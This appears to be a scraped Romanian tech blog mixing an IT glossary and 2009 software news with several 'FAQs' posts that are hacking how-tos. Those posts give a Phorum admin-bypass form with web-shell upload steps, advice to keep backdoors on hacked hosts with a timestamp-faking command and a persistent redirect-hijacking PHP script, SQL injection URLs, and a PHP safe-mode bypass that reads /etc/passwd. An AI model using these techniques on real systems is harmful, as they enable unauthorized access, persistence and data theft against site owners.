Glosar IT (DHCP, DCC, Datapacket)

DHCP

Domain Host Control Protocol - Protocol de Control al Domeniului-Gazda (DHCP) este un protocol pentru alocarea dinamica de adrese tip IP tuturor computerelor conectate la o retea. Cu ajutorul DHCP, unui computer ii poate fi alocata o adresa IP unica, in mod automat si de fiecare data cand se conecteaza la o retea, facilitand astfel administrarea adreselor IP. In momentul in care un computer se conecteaza la o retea, server-ul DHCP selecteaza si atribuie automat noului sistem o adresa IP din lista primara.

DCC

Direct Client la Client (DCC) este un protocol utilizat in mediul IRC, ce permite utilizatorilor discutii directe, fara a necesita o conectare suplimentara la un server online tip IRC si mentinand astfel statutul de confidentialitate al conversatiilor.

Datapacket - Pachet de date

In ciuda faptului ca un calculator si un modem pot transmite datele in secvente de un caracter, atunci cand navigati pe Internet, cand descarcati fisiere sau trimiteti corespondenta electronica, este mult mai eficienta trimiterea informatiei in grupuri mai mari, numite pachete de date. Modem-urile genereaza de obicei pachete de date cu marimea de 64 caractere plus alte cateva rezervate verificarilor impotriva erorilor. Cu toate acestea, cand descarcati un fisier folosind un protocol gen Xmodem, pachetele de date sunt mai mari. Iar atunci cand folositi un protocol gen TCP/IP pachetele sunt si mai mari, ajungand la dimensiuni de 1500 de caractere.

Extensiile incompatibile în Firefox 3.5

Firefox 3.5 a apărut de citeva zile dar mulţi useri evită să-l instaleze de teamă că extensiile preferate nu funcţionează. Într-adevăr, problemele de compatibilitate ale extensiilor cu versiunile noi de Firefox este una dintre cele mai mari probleme ale browser-ului celor de la Mozilla. Cu toate astea nu trebuie să disperi, există mai multe modalităţi prin care poţi instala extensiile incompatibile în Firefox 3.5.

Metoda rapidă

Prima metodă prin care poţi constrânge Firefox 3.5 să instaleze extensiile incompatibile implică puţină joacă cu "setările ascunse" ale browser-ului. Pe scurt, folosind această metodă vei obliga Firefox să nu mai verifice compatibilitatea extensiilor cu versiunea curentă, ci să le instalaze indiferent dacă sunt sau nu compatibile.

Nu este deloc complicat:

• deschizi un tab nou în care scrii about:config şi dai Enter
• cauţi în listă intrarea "extensions.checkCompatibility" (poţi folosi căsuţa Filter pentru a o găsi rapid)
• dai dublu click pe această intrare pentru a schimba valoarea din "true" în "false"
• restartezi Firefox

În acest fel, Firefox nu va mai verifica dacă extensia pe care urmează să o instalezi este compatibilă cu versiunea curentă.

Metoda comodă

Metoda pe care o numesc comodă constă în instalarea unei extensii care facilitează, printre altele, instalarea extensiilor incompatibile. Se numeşte MR Tech Toolkit şi, din fericire, este actualizată frecvent, astfel încât este compatibilă mai mereu cu cele mai noi versiuni de Firefox.

Meniul de configurare al extensiei îţi permite să activezi sau să dezactivezi verificarea compatibilităţii. Dacă vrei ca Firefox să poată instala şi extensiile incompatibile trebuie să debifezi opţiunea "Enable Addons Compatibility Checking", precum în imaginea alăturată.

Metoda "lucru manual"

Ultima metodă este şi cea mai complicată. Aceasta presupune modificarea unui fişier din cadrul extensiei. Explicaţia pe larg poate fi găsită aici.

Aceste metode permit instalarea extensiilor incompatibile dar nu elimină eventualele incompatibilităţi. Unele extensii incompatibile pot funcţiona incorect sau pot influenţa negativ comportamentul browser-ului. De regulă însă, majoritatea extensiilor funcţionează corect chiar dacă sunt etichetate ca fiind incompatibile.

Mozilla spune că, la ora lansării Firefox 3.5, 85% din extensiile populare sunt deja compatibile. Cu toate astea, extensii importante, precum Tab Mix Plus sau Google Gears, nu au încă o versiune finală compatibilă cu Firefox 3.5.

FAQs - №5

Problema: Am auzit, că se poate cumva de intrat în Admin Control Panel al ultimelor versiuni de Phorum 5.1.x fără ca sa ştii parola administratorului. Ştii ceva amănunte despre aceasta?

Rezolvare: Destul de simplu ! Pentru aceasta ai nevoie de a crea un mic html-file cu următorul conţinut:

Cod:

<_html> <_body> <_form action="http://phorum.site.com/admin.php" method="POST"> <_input type="hidden" name="phorum_admin_session[]" value="1"> <_input type="hidden" name="phorum_session_v5[]" value="=1"> <_input type="submit" calue="Inject ! "> <_/form> <_/body> <_/html> P.S. Liniile _ din cod se elimina

După submit tu te vei afla în Admin Control Panel al Phorum-ului. În unele cazuri merge următorul mod de încărcare a shell-ului pe baza bug-ului prezentat mai sus:

1. Intrăm în pagina de redactare a profilului administratorului. În semnătura lui punem un mic shell ca acesta: <_?php>'; system($_GET [cmd]); print '<_/pre>'; ?>.
2. În rezultat afişării unui cod incorect în profilul administratorului observăm o greşeală << full path disclosure în momentul intrării in pagina principală a forumului >>. Copiem calea către fişierul cache.php ( de exemplu /home/www/phorum/cache.php), care apoi îi vom face shell în md5.
3. În configuraţiile Phorum bifăm secţiunea cache users. Arătăm calea pentru fişierele shell-uite /../../../../../../../../../../../../../../../../tmp şi în default language punem /../../../../../../../../../../../../../../../../../tmp/md5('home/www/phorum/cache.php')/user/c4ca/4238/a0b9/2382/0dcc/509a/6f75/849b/data.
4. Din nou intrăm în Admin Control Panel pentru a activa noul cod în cache şi primim plăcere de la shell. În momentul cînd am scris acest FAQ ambele bug-uri nu erau încă astupate.
   

MS Security Essentials – Primul Test cu Succes

Programul Antivirus GRATUIT de la Microsoft: Security Essentials, a fost testat de firma Av-Test, specializată in evaluări ale programelor de securitate (antivirus). Rezultatele au fost extrem de favorabile, iar dacă Microsoft continuă trend-ul ascendent în domeniul securităţii, ar putea deveni chiar unul din lideri.

“Av-Test GmbH a testat Microsoft Security Essentials, versiunea Beta, lansată pe 23 iunie pentru Windows XP, Vista si Windows 7 cu ajutorul a 3200 de viruşi”, a declarat Andreas Marx, unul din cei doi manageri ai firmei de testare. Aceşti viruşi au fost colectionaţi din cele mai recente mostre "In The Wild" (o lista de ameninţări informatice active in acest moment în întreaga lume).

“Toate fişierele au fost detectate corespunzător si dezinfectate de către produs”, a spus Marx. “Este un lucru bun, deoarece alte scannere (antivirus) nu sunt capabile încă să detecteze şi îndepărteze aceşti viruşi.”

AV-Test a testat de asemenea rata de alarme false a sistemului Security Essentials cu un set prestabilit de fişiere neinfectate. Alarmele false pot fi un dezastru pentru utilizator, ducând la ştergerea accidentară a fişierelor legitime, detectate în mod eronat ca fiind virusate.

“Nici un fişier din cele neinfectate nu a fost detectat ca fiind virusat”, a notat Marx. “Perfect.”

Nu în ultimul rând AV-Test a examinat si performanţele anti-rootkit ale soft-ului şi capacitatea sa de a dezinfecta un calculator afectat de aceste tipuri de ameninţări. Rezultatul: “Nu am gasit nici un motiv în a ne plange de produs” a afirmat Marx. “Security Essentials poate şterge viruşii foarte bine, dar este nevoie de alte teste cu mai mulţi viruşi pentru a trage o concluzie finală.”

Marx a rezolvat si misterul conform caruia Security Essentials ar folosi tehnologia “in-the-cloud” scanând PC-urile de pe serverele Microsoft. “Scanner-ul lucrează cu baza de date antivirus şi anti-spyware instalată în calculator” a mai spus acesta.

AV-Comparatives.org, o alta companie notabilă de testare antivirus, a spus că vor evalua programul în luna August si vor publica rezultatele o lună mai tarziu.

Microsoft a plasat Microsoft Security Essentials pe site-ul lor, afirmând că va opri descărcările produsului când va ajunge la 75000 de download-uri, ceea ce s-a şi întamplat.

Se pare că Microsoft va lansa Microsoft Security Essentials în luna septembrie sau la începutul lunii octombrie, deci înainte de lansarea oficială Windows 7, care va avea loc pe 22 octombrie.

Glosar IT (DNS, Digital signature, Digital certificate)

DNS

Domain Name System - Sistemul numelor de domeniu In momentul in care trimiteti un mesaj e-mail sau directionati programul de navigare Web catre o adresa tip URL, sistemul numelor de domeniu traduce automat transcrierile alfanumerice in adrese Internet (serii de numere de tipul: 123.123.23.2). Acest termen face referinta la doua specificatii: conventiile de denumire a sistemelor-gazda si modul in care numele sunt alocate in mediul Internet.

Digital signature - Semnatura digitala

Semnaturile digitale constituie o metoda sigura in a dovedi autenticitatea unei persoane ce va trimite un oarecare document sau mesaj e-mail, cu avantajul ca ofera posibilitatea de a insera un cod special (amprenta digitala) in momentul semnarii, ce poate indica daca mesajul a ajuns intact la destinatie sau daca a fost alterat pe parcursul livrarii.

Semnaturile digitale sunt utilizate frecvent in combinatie cu aplicatii software de cifrare complexa, pentru a crea un canal de comunicare securizat, in care atat datele personale cat si identitatea va sunt protejate.

Digital certificate - Certificat digital

Un certificat digital reprezinta un fisier protejat prin parola de acces, ce include o varietate de informatii de tipul: numele si adresa e-mail a detinatorului de certificat digital, o cheie de cifrare ce poate fi utilizata pentru a verifica semnatura digitala a posesorului si perioada de validitate a certificatului digital. Autoritatile de certificare (CA) colecteaza informatii despre o anumita companie sau persoana fizica, eliberand ulterior un nou certificat digital.

Certificatele digitale sunt utilizate pentru autentificare online, similar modului de identificare cu ajutorul permisului de conducere sau al certificatului de nastere. Anumite tehnologii (SET, SSL si Authenticode) isi disputa in mediul Web piata online a certificatelor digitale.

2 milioane de dolari pentru 24 de melodii

America este ţara tuturor posibilităţilor, nimeni nu neaga asta. Numai că, uneori, această afirmaţie capătă un sens negativ şi devine o tragi-comedie. Altfel nu pot cataloga decizia unui judecător de a condamna o femeie la plata unor daune în valoare 1.92 milioane de dolari pentru că a descărcat 24 de melodii de pe Internet .

În spatele acestei aberaţii se află, bineînţeles, a tot cunoscuta organizaţie care cică apăra drepturile de autor ale industriei muzicale din Statele Unite, RIAA. Femeia respectivă a fost găsită vinovată şi a fost condamnată să plătească nici mai mult nici mai puţin de 80.000 dolari pentru fiecare melodie.

Printr-o matematică aparte, RIAA a calculat că atât i s-ar cuveni pentru cele 24 de melodii descărcate de femeia respectivă de pe Internet. RIAA a cerut daune de 1.92 milioane de dolari, iar judecătorul le-a considerat corecte.

Unul din principiile dreptului spune că pedeapsa trebuie să fie proporţională cu fapta. O asemenea condamnare consider a fi o aberantă totală.

FAQs - №4

Problema: Ocupîndu-mă cu SEO, am întîlnit problema furtului a doorway-urilor. Cum mă pot proteja eu de această "năpastie"?

Rezolvare: Dacă tu faci doorway pe host, hack-uit prin Public Vulnerability pe motorul instalat acolo, atunci poti închide catalogul cu acel motor cu ajutorul chmod, modifică parola hash a administratorului în ceva de genul acesta haha&_$#@%. Dar de obicei aceasta puţin ce ajută, şi doorway-erii întîlnesc problema furtului doorway-urilor post factum, de aceea ţine minte următoarea regulă: pentru ca mai uşor să îţi poţi intoarce doorway-ul, lasă cîte mai multe backdoor-uri şi Shell-uri pe hostul hack-uit, însă cu toate acestea nu uita timpul de modificare a fişierelor prin comanda touch -t AnLunăZiOrăMinuteSecunde shell.php. Dupa furtul de doorway primul lucru care trebuie să îl faci este să găseşti şi să ştergi Shell-urile persoanelor nedorite ( aceasta se poate de facut cu ajutorul comenzii find - -mtime -60-grep.php ), apoi schimbă readresarea către shell-ul tău şi protejazăte cu ajutorul următorului scenariu-php:

Cod:

<_?php ignore_user_abort(true); set_time_limit(0); while (!is_file('stop.dat')) { @chmod('/var/www/html/catalog',0777); $textht='<_?php header("Location: http://shell-ul_tău.com"); ?>'; $fp = @fopen("/var/www/html/catalog/index.php","w"); @flock ($fp, LOCK_EX); @fput ($fp, $textht); @flock ($fp, LOCK_UN); @fclose ($fp); sleep(5); } ?_> P.S. Linia _ din cod se elimina

Încarcă scriptul cu acest cod ( schimbînd dinainte drumul către locaţia unde la tine stă doorway-ul ) într-un oarecare catalog pe server, disponibil din internet, şi lanseazăl în browser. După acesta poţi închide browser-ul. :) Scriptul cu periodicitatea de 5 secunde va rescrie fişierul cu readresarea către al tău, aşa că jefuitorii se vor mira foarte tare cînd vor înscrie fişierul propriu cu readresarea, însă în locul lui momentan va apărea altul.

Feature | Entrepreneurial Thought Leader Highlights

The DFJ Entrepreneurial Thought Leaders Program este un curs săptămânal în serie unde liderii antreprenoriatului îşi împărtăşesc lecţiile de experienţa cu comunitatea Universităţii Stanford. Vorbitorii au inclus, Larry Page şi Eric Schmidt (Google), Mark Zuckerberg (Facebook), John Doerr (Kleiner Perkins Caufield & Byers), şi Guy Kawasaki (Garage Technology Ventures). Această listă de redare include zece "nuggets" antreprenoriale de înţelepciune de la acest program; arhiva completă de discuţii din cadrul Entrepreneurial Thought Leaders pot fi găsite pe site-ului STVP's Educators Corner.

• Tom Byers: Poziţionarea pe piaţă şi importanţa Parteneriatelor

• Ron Conway: Silicon Valley: Ground Zero pentru afacere

• John Doerr: Tehnologii Brizante

• Carly Fiorina: Dinamica de schimbare şi Frica

• Peter Diamandis: Energetice de fonduri

• Kathleen Eisenhardt: Componenţa Echipei

• Marissa Mayer: Nu ucide proiectele, "drogheazăle"

• Stan Christensen: Comunicare si negociere

• Robert Sutton: Introducerea Creativitate într-o organizaţie

• Guy Kawasaki: Crează un scop în compania dvs.

• Carol Bartz: Piramidele, Nu Scările

• Randy Komisar: Cele mai mari Succese sunt adesea crescute din eşecuri

• Jeff Hawkins: Urmăreşte-ţi ţelul

Antivirus Microsoft Morro => Security Essentials

Noul produs antivirus, care este pe cale de finalizarea a corporatie Microsoft, a schimbat numele din Morro în Security Essentials.

Pachetul antivirus va veni la schimb serviciului platit Windows Live OneCare, a cărei vânzarea de licenţe se va termina pe 30 iunie.

Security Essentials va avea funcţii de bază, suficient de mari pentru a putea concura cu soluţiile ieftine ale companiei Symantec şi McAfee. Aparent, Security Essentials va fi fară nici o suplimentare de securitate, precum ar fi instrumentele pentru crearea copiilor de siguranţă şi setarea fină a sistemului.

«Microsoft» a început testarea internă a pachetului antivirus la 1 iunie. Aparent, anume această asamblare acum cîteva zile a fost gasită pe Net. În prezent, îl puteţi descărca de pe cele mai mari reţele p2p în versiuni pentru sistemele de operare, Windows Vista, Windows 7 şi Windows XP. Disponibil atît pe 32 de biţi cît şi pe 64 de biţi.

Release-ul Microsoft Security Essentials va avea loc la sfârşitul acestui an, iar ieşirea versiunii beta publică, precum spun sursele apropiate de dezvoltatori, este programată pentru luna septembrie.

FAQs - №3

Problema: Este posibil oare ca în programele create în Java să se supraîncarce buffer-ul?

Rezolvare: Nu. Verificatorul bytecode-ului ( bytecode verifier ) scanează bytecode-urile, extrăgînd informaţia despre tipul obiectelor în fiecare punct de executare a fragmentului de cod. Maşina virtuală Java protejează de ieşirea "peste hotarele" memoriei acordate - se face excluderea, cu toate aceste codul introdus nu va fi executat. Nu se poate întîmpla supraîncărcarea sau stack-ului, parametrii pentru instruirea byte-maşinii are tipul necesar, iar permisiunea către cîmpurile şi metodele obiectelor nu încalcă declaraţiile în clasele de reguli (public, private, protected).

_____________________________________________________

Problema: Fac o injectie, însă la ieşire nimic nu se primeste, dar ştiu 100% că boxele există?

Rezolvare: Se pare că trebuie utilizat operatorul LIMIT. Dacă cererea iniţială arată cam în felul următor:

http://target/script.php?p=-1 union select 1,2,user,4 from users/*

atunci adaugă limit şi încearcă (enumeră) n-urile:

http://target/script.php?p=-1 union select 1,2,user,4 from users limit n,1/*

unde n de la 0 la 9.

Glosar IT (Freeware, Firewall, Filtre)

Freeware

Freeware reprezinta aplicatii tip software ce pot fi descarcate, stocate sau redistribuite gratuit. Materialele freeware sunt protejate prin drepturi de autor, ce nu permit decompilarea si revinderea sub titulatura proprie (spre deosebire de programele din domeniul public).

Firewall

Firewall este o aplicatie software ce protejeaza un server din cadrul unei retele informatice prin echiparea cu masuri de securitate de tipul: apelare inversa sau codare defensiva.

Filtre

Cunoscute si sub denumirea de rules (reguli), filtrele sunt utilizate pentru administrarea corespondentei personale. Aplicatiile software ce ofera suport pentru astfel de filtre permit crearea de reguli aplicabile anumitor actiuni de tipul: redirectionarea automata a mesajelor catre diferite dosare (aranjate in functie de adresa expeditorului), transmiterea de mesaje predefinte pentru anumiti corespondenti, precum si stergerea mesajelor ce includ in titlu un set predefinit de cuvinte.

Arhivaţi fişiere într-o simplă imagine (.jpg files)

Un Video educaţional despre faptul cum puteţi transforma un simplu file de tip .jpg într-o arhivă ascunsă. Vizionare plăcută!

Telefoanele Nokia nu vor mai trebui reîncărcate

Exclamaţii aproape isterice precum "vai, mi s-a descărcat telefonul" sau "stai că trebuie să-l bag din nou la încărcat" ar putea deveni istorie în curând, graţie celor de la Nokia. Finlandezii lucrează în prezent la o tehnologie care va scuti utilizatorii de calvarul încărcării telefoanelor mobile anunţă Technology Review.

Principiul tehnologiei

Oamenii de ştiinţă care lucrează pentru Nokia Research Centre din Cambridge, Marea Britanie, sunt ocupaţi cu dezvoltarea unei tehnologii care realizează conversia undelor electromagnetice în semnal electric. Practic, această tehnologie va capta radiaţiile electromagnetice emise de unele componente ale telefoanelor mobile, precum propria antenă sau receptorul Wi-Fi, şi le va transforma în curent electric , ce va fi folosit de telefon.

Din fericire, această tehnologie nu este doar în stadiu teoretic. Oamenii de ştiinţă au creat deja un prototip care poate capta până la 5 miliwaţi. Problema este că cei 5 miliwaţi nu sunt suficienţi pentru încărcarea unui telefon. De aceea, cercetătorii au început deja să lucreze la un alt prototip care poate produce 50 de miliwaţi. Aceştia ar fi suficienţi pentru încărcarea nu foarte rapidă a unui telefon închis.

Când va fi gata

Întrebarea care stă pe buzele tuturor - când vom putea beneficia de această tehnologie - a primit un răspuns de la Markku Rouvala, unul din oamenii de ştiinţă implicaţi în acest proiect. Acesta a afirmat că un telefon care să se încarce singur de la propriile componente care emit radiaţii electromagnetice va putea fi produs peste 3 sau 4 ani.

Nokia are planuri mari legate de noua tehnologie. Este posibil ca finlandezii să producă telefoane care să se bazeze exclusiv pe aceasta, dar şi să o combine cu alte tipuri de încărcare ecologică, precum captarea energiei solare.

Când această tehnologie va deveni realitate, va fi una dintre cele mai importante invenţii din istoria telefoniei mobile şi numai. Funcţionând permanent, aceasta ar putea profita de timpul în care telefonul stă în standby pentru a-l încărca. Dacă va fi şi suficient de eficientă, această tehnologie ar putea ţine mereu telefonul la un nivel înalt de încărcare.

În plus, tehnologia aceasta ar putea fi implementată şi altor dispozitive mobile care au în preajmă unde electromagnetice. De exemplu, un laptop ar putea profita de ea pentru a se încărca atunci când este conectat la o reţea wireless.

Mac OS X Tips & Tricks

1. Pentru a schimba un user's shell (cu Bash, de exemplu) pe OS X:

• $ sudo niutil -createprop . /users/USER shell /bin/bash

2. Pune QuickTime în full screen mode:

•  tell application "QuickTime Player"
  enter full screen display 1
  set the scale of movie 1 to screen
  play movie 1
  end tell

3. Captînd o regiune de ecran, puteţi să apăsaţi pe SpaceBar pentru a invoca în aparatul de fotografiat cursorul. După cum se mişca cursorul aparatului de fotografiat pe ecran, fereastra se va evidenţia. Click pentru a captura cea mai evidenţiată fereastra.

• Command+Shift+3 => Captează ecranul într-un fişier PDF pe spaţiul de lucru
  
• Command+Control+Shift+3 => Captează întregul ecran şi plaseazăl în clipboard
  
• Command+Shift+4 => Captează o regiune de ecran într-un fişier PDF pe spaţiul de lucru
• Command+Control+Shift+4 => Captează o regiune şi plaseaz-o în clipboard

Firefox 3.5 RC1 - Încearcă

După ce a tărăgănat luni întregi lucrul la Firefox 3.5, Mozilla se pare că se apropie în sfârşit de lansarea versiunii finale. Până atunci, ca un semn că lucrările se apropie de final, de pe site-ul oficial poate fi descărcată prima versiune RC1 de Firefox 3.5 .

Firefox 3.5 aduce numeroase noutăţi tehnice şi mai puţine facilităţi direct accesibile utilizatorului obişnuit. Această versiune este un upgrade important mai mult pentru Internet la modul general (dezvoltatori de site-uri, tehnologii de dezvoltare etc.) decât pentru utilizator.

Printre noutăţile pe care le aduce Firefox 3.5 se numără:

• Private Browsing - o sesiune specială de navigare în care nu sunt salvate niciun fel de informaţii
• Trace Monkey - un nou motor de JavaScript mai performant
• Geolocation - setări individuale de site în funcţie de locaţia utilizatorului
• Suport pentru numeroase tehnologii noi de dezvoltare precum tag-uri HTML5 pentru conţinutul video şi audio

Download Firefox 3.5 RC1

FAQs - №2

Problema: Cum pot trece peste Safe-mode în ultimile versiuni PHP?

Rezolvare: Iată unele scripturi, care te vor ajuta să citeşti conţinutul file-urilor şi a fişierelor în sistemă atunci cînd e activat safe-mode: PHP <=4.4.7/5.2.3MySQL/MySQLi Safe Mode Bypass Vulnerability

Cod:

<_?php file_get_contents('/etc/passwd'); $1 = mysql_connect("localhost","root"); mysql_query("CREATE DATABASE a"); mysql_query("CREATE TABLE a.a (a varchar(1024))"); mysql_query("GRANT SELECT, INSERT ON a.a TO 'aaaa'@'localhost' "); mysql_close($1); mysql_connect("localhost", "aaaa"); mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a"); $result = mysql_query("SELECT a FROM a.a"); while(list($row) = mysql_fetch_row($result)) print $row . chr(10); ?> P.S. Linia _ din cod se elimina

_____________________________________________________

Problema: Cum pot depista că SQL-Injecţia se află anume în cererea SELECT, dar nu în cererea DELETE, UPDATE sau altele?

Rezolvare: Pentru aceasta se poate de încercat de pus la sfîrşitul cererei operatorul LIMIT. Lipsa errorii ne va comunica despre, faptul ca serverul lucrează cu MySQL (deoarece, precum ştim, LIMIT - nu e standartul Structured Query Language) şi, desigur, despre faptul că acolo întradevăr figurează operatorul SELECT. Însă în cazul în care nu e MySQL, atunci utilizatorul care atacă poate să încerce să pună GROUP BY 1 sau HAVING 1=1 - cereri, care se referă către standartul limbajului SQL şi care lucrează doar în operatorul SELECT. Aceste 2 metode pot afla tipul cererii şi pot stabili care va fi tehnica de hack mai departe a resursei.

Glosar IT (FAQs, Encryption, Email)

FAQs

frequently asked questions - intrebari frecvente Sectiunile FAQ insumeaza fisiere text concepute pentru a solutiona problemele pe care utilizatorii le intampina in navigarea unui site Web sau in utilizarea serviciilor online.

Encryption - Cifrare

Cifrarea reprezinta procesul de modificare a datelor intr-o forma lizibila numai de catre destinatar. Pentru a descrifra mesajul, destinatarul informatiilor cifrate necesita o cheie valida de decriptare. In schemele de cifrare traditionala, expeditorul si destinatarul utilizeaza aceleasi chei pentru a cifra si descifra informatiile.

Schemele de cifrare publica incorporeaza doua chei: o cheie cu utilizare publica si una corespondenta, privata, detinuta numai de catre autor. Prin intermediul acestei metode, oricine poate trimite un mesaj cifrat cu ajutorul cheii publice, dar numai autorul detine cheia privata, necesara in descifrarea mesajului. PGP si DES sunt doua dintre cele mai populare metode de cifrare publica a datelor.

Email

Posta electronica faciliteaza transmiterea de mesaje cu ajutorul computerului personal, prin intermediul retelei locale, via Internet sau cu ajutorul unui serviciu online, de tipul CompuServe sau America Online, cu posibilitate de livrarea catre unul sau mai multi destinatari. Modul de functionare consta in transmiterea mesajului catre o casuta postala virtuala, urmand ca verificarea acesteia sa fie realizata direct sau prin intermediul unei aplicatii software automate.

Opera Unite oferă file sharing

Compania Opera prezintă tehnologia Unite,care permite trensferul de fişiere între calculatoare fară utilizarea de servicii externe, raportă în comunicatul de presă Opera.

Utilizînd Opera Unite poţi transforma calculatorul propriu într-un server şi poţi deschide accesul liber la informaţiile stocate pe hard-disk, persoanelor externe. Aceasta necesită doar de acces la Internet şi un browser modern.

De exemplu, puteţi să ascultaţi muzică de pe hard-disk-ul de acasă, în timp ce te afli la birou. În cazul în care utilizaţi Unite la locul de muncă, puteţi examina documentele existente in el, din orice loc, unde există acces la Internet.

În prezent, folosind Opera Unite poţi deschide accesul la fişierele stocate pe PC, inclusiv muzică şi fotografii. De asemenea, pe computer, puteţi organiza chat-uri virtuale şi servicii de memento-uri. O altă funcţie Unite este de a crea un site local pe PC.

În scopul de a permite accesul la fişiere folosind Opera Unite, aveţi nevoie de a descărca o versiune specială a browser-ului Opera care suportă această tehnologie.Toate setările Unite se efectuiază prin intermediul acestui browser-ului, dar pentru un Remote Access la fişierele puteţi utiliza şi alte browsere.

Google Mobile - rulabil pe Symbian S60

În mărinimia sa, combinată cu setea de a ajunge omniprezent şi a-şi întinde reclamele pe telefoanele noastre, Google anunţă disponibilitatea aplicaţiei Google Mobile pentru telefoanele care au ca sistem de operare Symbian S60 . Cum se ştie, telefoanele inteligente Nokia au acest sistem, plus câteva modele ale altor producători, precum Samsung, iar în curând şi Sony Ericsson.

Dincolo de accesul de pe telefonul mobil la serviciile Google, aplicaţia are tei caracteristici definitorii:

• acces rapid - cele mai importante servicii (căutare, Gmail, Maps etc.) pot fi accesate direct din ecranul de stand by
• localizare - cu ajutorul suportului GPS Google Mobile poate oferi informaţii relevante în funcţie de locaţia ta, de exemplu, restaurante aflate în apropiere
• căutare facilă - Google mobile permite salvarea căutărilor şi oferă sugestii pentru textul introdus

Google Mobile pentru Symbian S60 poate fi descărcat direct de pe telefon de la adresa m.google.com sau poţi primi un link prin SMS introducând numărul de telefon la această adresă.

Koogle - Un Google Evreiesc

Evreii ultraortodocşi cărora rabinii le interziceau să navigheze pe Internet au acum la dispoziţie un nou motor de căutare “kosher” care se conformă standardelor utlraortodoxe.

Koogle, www.koogle.co.il, nu indexează materiale cu conţinut sexual explicit şi site-urile de stiri sau de cumpărături online care prezinta obiecte interzise evreilor ultraortodocşi, precum televizoare.

Managerul acestui site, Yossi Altman, a declarat că Koogle - un joc de cuvinte pornind de la numele cunoscutului motor de căutare Google - îndeplineşte standardele impuse de rabinii ortodocsi şi este recomandat de aceştia internauţilor evrei. Trebuie spus că evreii ultra-religioşi consideră indecente chiar şi fotografiile în care apar femei în ipostaze obişnuite. De ar da cu ochii de tabloidele noastre online…